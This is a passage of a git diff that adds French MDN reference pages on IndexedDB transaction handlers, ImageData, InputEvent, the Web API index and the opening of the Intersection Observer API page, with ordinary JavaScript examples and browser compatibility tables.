+<p>Le gestionnaire d'événement <strong><code>oncomplete</code></strong>, rattaché à l'interface {{domxref("IDBTransaction")}}, s'exécute au déclenchement d'un événement <code><a href="/fr/docs/Web/Events/complete">complete</a></code> lorsque la transaction se termine avec succès.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Depuis Firefox 40, les transactions IndexedDB diminuent en efficacité pour gagner en efficience (voir {{Bug ( "1112702")}}). Auparavant, dans une transaction en <code><a href="#const_read_write">readwrite</a></code>, l'événement <code>complete</code> était déclenché seulement lorsque toutes les données étaient écrites sur le disque. Maintenant, l'événement <code>complete</code> est déclenché après que l'OS ai envoyé l'ordre d'écrire les données, mais potentiellement avant qu'elles aient été écrites sur le disque. L'événement <code>complete</code> peut ainsi être déclenché plus rapidement qu'auparavant. Cependant, il existe une chance infime pour que l'ensemble de la transaction soit perdue si le système d'exploitation plante ou s'il y a une perte de courant avant que les données aient été écrites sur le disque. Étant donné que ces événements catastrophiques sont rares, la plupart des utilisateurs ne devraient pas avoir à s'en préoccuper davantage.</p>
+
+<p class="warning">Si vous devez vous assurer de l'efficacité d'une transaction pour une raison quelconque (par exemple, vous stockez des données critiques qui ne peuvent être recalculé plus tard), vous pouvez forcer l'enregistrement complet sur disque avant de déclencher l'événement <code>complete</code> en utilisant le mode <code>readwriteflush</code> (non-standard) expérimental (cf. {{domxref("IDBDatabase.transaction")}} ). Ce mode expérimentale ne peut être utilisé que si la préférence<code> dom.indexedDB.experimental </code> pref est réglée sur <code> true</code> dans <code> about: config</code>.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">transaction.oncomplete = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le code suivant, on ouvre une connexion à la base de donnée. Ensuite, sur cette connexion, on démarre une transaction (avec  {{domxref("IDBTransaction")}}) en lecture/écriture pour accéder au magasin d'objet <code>"toDoList"</code> et y ajouter un enregistrement grâce à la méthode {{domxref("IDBObjectStore.add")}}. On notera également la façon dont le gestionnaire d'événement {{domxref("IDBTransaction.onerror")}} est utilisé dans la transaction.</p>
+
+<p>Le gestionnaires d'événement <strong><code>oncomplete</code></strong> de la transaction permet d'afficher un message de succès sur la page.</p>
+
+<pre class="brush: js">// Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '&lt;li&gt;Connexion établie.&lt;/li&gt;';
+
+  // Affectation de la connexion à la variable db.
+  db = DBOpenRequest.result;
+
+  // Exécution de la fonction addData () pour
+  // stocker des données dans la base
+  addData();
+};
+
+function addData() {
+  // Voici un nouvel objet prêt à être emmagasiné
+  newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+  // On ouvre une transaction en lecture/écriture
+  // prête au traitement des données sur la connexion
+  var transaction = db.transaction(["toDoList"], "readwrite");
+
+  // Voici le gestionnaire utilisé en cas de succès
+  // de l'ouverture de la transaction
+  transaction.oncomplete = function(event) {
+    note.innerHTML += '&lt;li&gt;Transaction terminée : modification de la base de données OK.&lt;/li&gt;';
+  };
+
+  // Et celui utilisé en cas d'échec de
+  // l'ouverture de la transaction
+  transaction.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;L\'erreur: "' + transaction.error +'" s\'est produite, échec de la transaction.&lt;/li&gt;';
+  };
+
+  // Puis, on ouvre l'accès au un magasin "toDoList"
+  // de la transaction
+  var objectStore = transaction.objectStore("toDoList");
+
+  // Enfin on ajoute l'enregistrement
+  var objectStoreRequest = objectStore.add(newItem[0]);
+  objectStoreRequest.onsuccess = function(event) {
+    // Et on signale l'ajout de l'enregistrement
+    note.innerHTML += '&lt;li&gt;Enregistrement ajouté.&lt;/li&gt;';
+  };
+ };
+</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em> disponible</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBTransaction-oncomplete', 'oncomplete')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des  navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/idbtransaction/onerror/index.html b/files/fr/web/api/idbtransaction/onerror/index.html
new file mode 100644
index 0000000000..18c08c9a57
--- /dev/null
+++ b/files/fr/web/api/idbtransaction/onerror/index.html
@@ -0,0 +1,171 @@
+---
+title: IDBTransaction.onerror
+slug: Web/API/IDBTransaction/onerror
+tags:
+  - API
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBTransaction/onerror
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>Le gestionnaire d'événement <strong><code>onerror</code></strong>, rattaché à l'interface {{domxref("IDBTransaction")}}, s'exécute au déclenchement d'un événement <code><a href="/fr/docs/Web/Events/error">error</a></code> lorsque la transaction échoue.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">transaction.onerror = function() { ... };</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans le code suivant, on commence par ouvrir une connexion à la base de donnée. Grâce à cette connexion, on initialise une transaction en lecture/écriture grâce à <code>IDBTransaction</code> pour accéder au magasin d'objets intitulé <code>toDoList</code> et y ajouter un enregistrement via la méthode  {{domxref("IDBObjectStore.add")}}. On notera également l'utilisation du gestionnaire d'événements {{domxref("IDBTransaction.oncomplete")}}.</p>
+
+<p>Le gestionnaire d'événement <strong><code>onerror</code></strong> de la transaction affiche le code d'erreur de la propriété propriété {{domxref("IDBTransaction.error","error")}} sur la page.</p>
+
+<pre class="brush: js">// Connexion à la base de données
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+DBOpenRequest.onsuccess = function(event) {
+	note.innerHTML += '&lt;li&gt;Connexion établie.&lt;/li&gt;';
+
+	// On affecte la connexion à la variable db.
+	db = DBOpenRequest.result;
+
+	// On exécute la fonction addData () pour ajouter
+    // des données dans la base
+	addData();
+};
+function addData() {
+	// On crée un nouvel objet prêt à être emmagasiné
+	newItem = [ { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: "December", year: 2013, notified: "no" } ];
+
+	// On ouvre une transaction de lecture / écriture
+    // pour traiter les données via la connexion
+	var transaction = db.transaction(["toDoList"], "readwrite");
+
+	// En cas de succès de l'ouverture de la transaction
+    // on utilise ce gestionnaire
+	transaction.oncomplete = function(event) {
+		note.innerHTML += '&lt;li&gt;Transaction terminée : modification de la base de données OK.&lt;/li&gt;';
+	};
+	// En  cas d'échec de l'ouverture de la transaction
+    // on utilisera ce gestionnaire
+	transaction.onerror = function(event) {
+		note.innerHTML += '&lt;li&gt;L\'erreur: "' + transaction.error +'" s\'est produite, échec de la transaction.&lt;/li&gt;';
+	};
+
+	// On ouvre l'accès au magasin "toDoList" de la transaction
+	var objectStore = transaction.objectStore("toDoList");
+
+	// Enfin on ajoute un enregistrement
+	var objectStoreRequest = objectStore.add(newItem[0]);
+	objectStoreRequest.onsuccess = function(event) {
+		// On signale l'ajout de l'enregistrement
+		note.innerHTML += '&lt;li&gt;Enregistrement ajouté.&lt;/li&gt;';
+	};
+ };
+ </pre>
+
+<p class="note"><strong>Note :</strong> Pour un exemple de travail complet, voir l'application <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em> disponible ici</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBTransaction-ononerror', 'onerror')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible via les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible via les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Manipuler IndexedDB</a></li>
+ <li>Démarrer des transactions : {{domxref("IDBDatabase")}}</li>
+ <li>Manipuler des transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer des données et les modifier : {{domxref("IDBObjectStore")}}</li>
+ <li>Manipuler des curseurs : {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence pour IndexedDB : <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/imagedata/data/index.html b/files/fr/web/api/imagedata/data/index.html
new file mode 100644
index 0000000000..93e6bb21c5
--- /dev/null
+++ b/files/fr/web/api/imagedata/data/index.html
@@ -0,0 +1,51 @@
+---
+title: ImageData.data
+slug: Web/API/ImageData/data
+translation_of: Web/API/ImageData/data
+---
+<p>{{APIRef("Canvas API")}}</p>
+
+<p>La propriété en lecteur seul <code>ImageData.data</code> retourne un {{jsxref("Uint8ClampedArray")}}. Il représente un tableau unidirectionnel contenant les données sous forme d'entiers inclus entre 0 et 255 dans l'ordre RGBA comme ceci : <code>[r1,g1,b1,a1,…,rn;gn;bn;an]</code>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>imagedata</em>.data
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js  language-js">var imagedata = new ImageData(100, 100);
+imagedata.data; // Uint8ClampedArray[40000]
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#dom-imagedata-data', 'ImageData.data')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ImageData.data")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("ImageData.height")}}</li>
+ <li>{{domxref("ImageData.width")}}</li>
+</ul>
+
+<div id="cke_pastebin" style="position: absolute; top: 459.5px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/fr/web/api/imagedata/index.html b/files/fr/web/api/imagedata/index.html
new file mode 100644
index 0000000000..c80d75e4b1
--- /dev/null
+++ b/files/fr/web/api/imagedata/index.html
@@ -0,0 +1,65 @@
+---
+title: ImageData
+slug: Web/API/ImageData
+tags:
+  - API
+  - Canvas
+  - DOM
+  - Images
+  - JavaScript
+translation_of: Web/API/ImageData
+---
+<p>{{APIRef("Canvas API")}}</p>
+
+<p>L'interface <code><strong>ImageData</strong></code> représente les données des pixels au sein d'une certaine zone dans un élément {{HTMLElement("canvas")}}. Elle est définie par les méthodes des constructeurs ou créateurs d'objet {{domxref("ImageData.ImageData", "ImageData()")}}  sur l'objet {{domxref("CanvasRenderingContext2D")}} associé à canevas,  {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}} et  {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}. Elle peut être également utilisée pour redéfinir une partie du canevas en utilisant {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}.</p>
+
+<h2 id="Constructeurs">Constructeurs</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.ImageData", "ImageData()")}} {{experimental_inline}}</dt>
+ <dd>Crée un objet ImageData à partir d'un {{jsxref ("Uint8ClampedArray")}} donné et la taille de l'image qu'il contient. Si aucun tableau n'est donné, il crée une image d'un rectangle noir. Notez que c'est la façon la plus courante de créer un tel objet dans les "Workers" car {{domxref ("CanvasRenderingContext2D.createImageData", "createImageData ()")}} n'y est pas disponible.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("ImageData.data")}}</dt>
+ <dd>Un {{domxref("Uint8ClampedArray")}} représentant un tableau à une seule dimension contenant les données des pixels sous format RVBA, chaque valeur comprise entre <code>0</code> et <code>255</code> (inclus).</dd>
+ <dt>{{domxref("ImageData.height")}} {{readonlyInline}}</dt>
+ <dd>Un <code>unsigned</code> <code>long</code> représentant la hauteur effective, en pixels, de l'objet <code>ImageData</code>.</dd>
+ <dt>{{domxref("ImageData.width")}} {{readonlyInline}}</dt>
+ <dd>Un <code>unsigned</code> <code>long</code> représentant la largeur effective, en pixels, de l'objet <code>ImageData</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#imagedata", "ImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.ImageData")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>L'élément {{HTMLElement("canvas")}} et l'interface associée, {{domxref("HTMLCanvasElement")}}.</li>
+</ul>
diff --git a/files/fr/web/api/index.html b/files/fr/web/api/index.html
new file mode 100644
index 0000000000..adbd2a33b8
--- /dev/null
+++ b/files/fr/web/api/index.html
@@ -0,0 +1,33 @@
+---
+title: Référence Web API
+slug: Web/API
+tags:
+  - API
+  - Applications
+  - DOM
+  - JavaScript
+  - Reference
+  - Web
+translation_of: Web/API
+---
+<p class="summary"><span class="seoSummary">Quand vous codez en JavaScript pour le web, il y a un grand nombre d'API disponibles. La liste ci-dessous énumère toutes les interfaces (types et objets) que vous pouvez appeler quand vous développez votre application web ou votre site.</span></p>
+
+<p>Les APIs Web sont habituellement utilisés avec le JavaScript, bien que cela ne devrait pas toujours être le cas.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Voici une liste de toutes les APIs disponibles.</p>
+
+<div>{{ListGroups}}</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>Voici une liste de toutes les interfaces (c'est à dire, les types d'objets) disponibles.</p>
+
+<div>{{APIListAlpha}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events">Web API event reference</a></li>
+</ul>
diff --git a/files/fr/web/api/inputevent/index.html b/files/fr/web/api/inputevent/index.html
new file mode 100644
index 0000000000..01d6d8cdb9
--- /dev/null
+++ b/files/fr/web/api/inputevent/index.html
@@ -0,0 +1,73 @@
+---
+title: InputEvent
+slug: Web/API/InputEvent
+translation_of: Web/API/InputEvent
+---
+<div>{{APIRef("DOM Events")}} {{SeeCompatTable}}</div>
+
+<p>L’interface <strong><code>InputEvent</code></strong> représente un évènement notifiant la modification d’un contenu éditable.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("InputEvent.InputEvent", "InputEvent()")}}</dt>
+ <dd>Crée un objet <code>InputEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de ses <em>parents, {{domxref("UIEvent")}} et {{domxref("Event")}}.</em></em></p>
+
+<dl>
+ <dt>{{domxref("InputEvent.data")}}{{readOnlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} avec les caractères insérést. Cela peut être une chaîne vide si la modification n’insère pas de texte (comme la suppression de caractères, par exemple).</dd>
+ <dt>{{domxref("InputEvent.dataTransfer")}}{{readonlyinline}}</dt>
+ <dd>Retourne un objet {{domxref("DataTransfer")}} contenant des informations sur des données de texte riche (<em>richtext</em>) ou brut (<em>plaintext</em>) étant ajoutées ou supprimées du contenu éditable.</dd>
+ <dt>{{domxref("InputEvent.inputType")}}{{readonlyinline}}</dt>
+ <dd>Retourne le type de modification du le contenu éditable tel que, par exemple, l’insertion, la suppression ou le formatage de texte. Voir la page de la propriété pour une liste complète des types de modification.</dd>
+ <dt>{{domxref("InputEvent.isComposing")}}{{readOnlyInline}}</dt>
+ <dd>Retourne une valeur {{jsxref("Boolean", "booléenne")}} indiquant si l’évènement est émis après {{event("compositionstart")}} et avant {{event("compositionend")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface <em>hérite des méthodes de ses parents, {{domxref("UIEvent")}} et {{domxref("Event")}}.</em></em></p>
+
+<dl>
+ <dt>{{domxref('InputEvent.getTargetRanges()')}}</dt>
+ <dd>Retourne un tableau de {{domxref("Range", "ranges")}} statiques qui seront affectés par une modification du DOM si l’évènement input n’est pas annulé.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('InputEvents2','#interface-InputEvent','InputEvent')}}</td>
+   <td>{{Spec2('InputEvents2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.InputEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ event("beforeinput") }}</li>
+ <li><a href="/docs/Web/API/InputEvent/input_event">l’évènement <code>input</code></a></li>
+</ul>
diff --git a/files/fr/web/api/intersection_observer_api/index.html b/files/fr/web/api/intersection_observer_api/index.html
new file mode 100644
index 0000000000..82cf68421f
--- /dev/null
+++ b/files/fr/web/api/intersection_observer_api/index.html
@@ -0,0 +1,599 @@
+---
+title: Intersection Observer API
+slug: Web/API/Intersection_Observer_API
+tags:
+  - API
+  - IntersectionObserver
+  - Reference
+  - Web
+translation_of: Web/API/Intersection_Observer_API
+---
+<div>{{SeeCompatTable}}{{DefaultAPISidebar("Intersection Observer API")}}</div>
+
+<p class="summary"><span class="seoSummary">L'API <em>Intersection Observer</em> permet d'observer de manière asynchrone l'évolution de l'intersection d'un élément cible avec un élément ancêtre ou avec la zone d'affichage d'un document de niveau supérieur.</span></p>
+
+<p>Historiquement, détecter la visibilité d'un élément, ou la visibilité relative de deux éléments l'un par rapport à l'autre, a été une tache difficile, résolue de manière peu rigoureuse et pouvant nuire à la fluidité de la page consultée. Malheureusement, avec la maturation de la toile, ce genre d'information se révèle de plus en plus nécessaire. La donnée de l'intersection est requise pour de nombreuses raisons, telles que:</p>
+
+<ul>
+ <li>Le chargement paresseux d'images ou d'autres types de contenus au fur et à mesure que la page défile.</li>
+ <li>L'implantation de « défilement infini », où de plus en plus de contenu est chargé tandis que l'utilisateur défile, afin qu'il n'ait pas à changer de page.</li>
+ <li>Le signalement de la visibilité pour les publicités afin de calculer les revenus publicitaires.</li>
+ <li>La décision d'exécuter ou non une tâche ou une animation selon que l'utilisateur va en voir le résultat ou non.</li>
+</ul>
+
+<p>De par le passé, l'implantation de la détection d'intersection impliquait des gestionnaires d'évènements et des boucles appelant des méthodes telles que {{domxref("Element.getBoundingClientRect()")}} afin de générer les informations nécessaires pour chaque élément concerné. Comme la totalité du code est exécuté dans le <em>thread</em> principal, même une seule de ces boucles peut causer des problèmes de performance. Si un site est rempli de ces tests, les choses peuvent vite devenir très moches.</p>
+
+<p>Prenons une page qui utilise un défilement infini. Mettons qu'elle utilise une bibliothèque fournie par un éditeur afin de gérer les publicités placées périodiquement le long de la page, qu'elle a des graphiques animés ici et là, et qu'elle utilise une bibliothèque personnalisée pour dessiner des cases de notifications et ce genre de choses. Chacune de ces choses a ses propres procédures de détection d'intersection, toutes exécutées dans le <em>thread</em> principal. L'auteur du site ne le réalise peut-être même pas, puisqu'il utilise deux bibliothèques dont il ne connaît pas forcément les détails de fonctionnement. Quand l'utilisateur navigue sur la page, ces procédures de détection d'intersection réagissent constamment pendant l'exécution du code de défilement, rendant l'expérience frustrante pour l'utilisateur vis-à-vis de son navigateur, du site Internet et de son ordinateur.</p>
+
+<p>L'API <em>Intersection Observer</em> permet d'intégrer une fonction <em>callback</em> qui est exécutée quand un élément qu'on souhaite surveiller entre ou sort d'un autre élément (ou du <em>viewport</em> (zone d'affichage)), ou quand la taille de leur intersection varie d'une quantité prédéterminée. Ainsi, les sites n'ont plus besoin de faire quoi que ce soit sur le <em>thread</em> principal pour surveiller ce genre d'intersection d'éléments, et le navigateur est libre de gérer la détection d'intersection comme bon lui semble.</p>
+
+<p>Il y a une chose sur laquelle l'API <em>Intersection Observer</em> ne peut pas vous renseigner : le nombre de pixels qui intersectent, ou bien desquels il s'agit précisément; par contre elle permet d'ordonner des actions souvent utiles telles que « si ils s'intersectent de plus de N%, alors faire ceci ».</p>
+
+<h2 id="Concepts_et_utilisation_de_l'observateur_d'intersections">Concepts et utilisation de l'observateur d'intersections</h2>
+
+<p>L'API <em>Intersection Observer</em> permet de mettre en place une fonction <em>callback</em> qui est appelée quand un élément, appelé la <strong>cible</strong>, intersecte ou bien le <em>viewport</em> (la zone d'affichage) ou bien un élément prédéfini ; dans le cadre de cette API, nous l’appellerons <strong>l'élément racine</strong> ou <strong>la racine</strong>. Typiquement, on voudra observer les variations de l'intersection par rapport à la zone d'affichage du document (ce qui est fait en passant l'argument <code>null</code> au moment de désigner l'élément racine). Que vous utilisiez la zone d'affichage ou un autre élément comme racine, l'API fonctionne de la même façon, en exécutant une fonction <em>callback</em>, fournie au préalable, lorsque la visibilité de l'élément cible change de telle sorte qu'il atteint la quantité voulue d'intersection avec l'élément racine.</p>
+
+<p>Le degré d'intersection entre l'élément cible et sa racine est le <strong>ratio d'intersection</strong>. C'est une représentation du pourcentage de l'élément cible qui est visible, exprimée sous la forme d'un nombre compris entre 0.0 et 1.0.</p>
+
+<h3 id="Création_d'un_observateur_d'intersection">Création d'un observateur d'intersection</h3>
+
+<p>Créez l'observateur d'intersection en appelant son constructeur et en lui passant la référence d'une fonction <em>callback</em>. Cette fonction sera exécutée quand un palier est franchi dans un sens ou dans un autre :</p>
+
+<pre class="brush: js">var options = {
+  root: document.querySelector('#scrollArea'),
+  rootMargin: '0px',
+  threshold: 1.0
+}
+
+var observer = new IntersectionObserver(callback, options);</pre>
+
+<p>Un palier de 1.0 signifie que lorsque 100% de la cible est visible dans l'élément désigné par l'option <code>root</code> (l'élément racine), la fonction <em>callback</em> est invoquée.</p>
+
+<h4 id="Options_de_l'observateur_d'intersection">Options de l'observateur d'intersection</h4>
+
+<p>L'objet <code>options</code> qui est passé dans le constructeur  {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} permet de contrôler les circonstances selon lesquelles la fonction <em>callback</em> de l'observateur est invoquée. Il possède les champs suivants :</p>
+
+<dl>
+ <dt><code>root</code></dt>
+ <dd>L'élément qui est utilisé comme zone d'affichage au moment d'évaluer la visibilité de la cible. Il doit être un ancêtre de la cible. S'il n'est pas spécifié ou s'il prend la valeur <code>null</code>, sa valeur par défaut est la zone d'affichage (le <em>viewport</em>) du navigateur.</dd>
+ <dt><code>rootMargin</code></dt>
+ <dd>La marge autour de la racine. Peut prendre des valeurs similaires à la propriété CSS {{cssxref("margin")}} par exemple "<code>10px 20px 30px 40px"</code> (top, right, bottom, left). Si l'élément <code>root</code> a été spécifié, les valeurs peuvent être exprimées en pourcentages. Cet ensemble de valeur sert à agrandir ou à réduire chaque coté du cadre délimitant l'élément racine avant d'évaluer les intersections. Par défaut, toutes les valeurs prennent la valeur zéro.</dd>
+ <dt><code>threshold</code></dt>
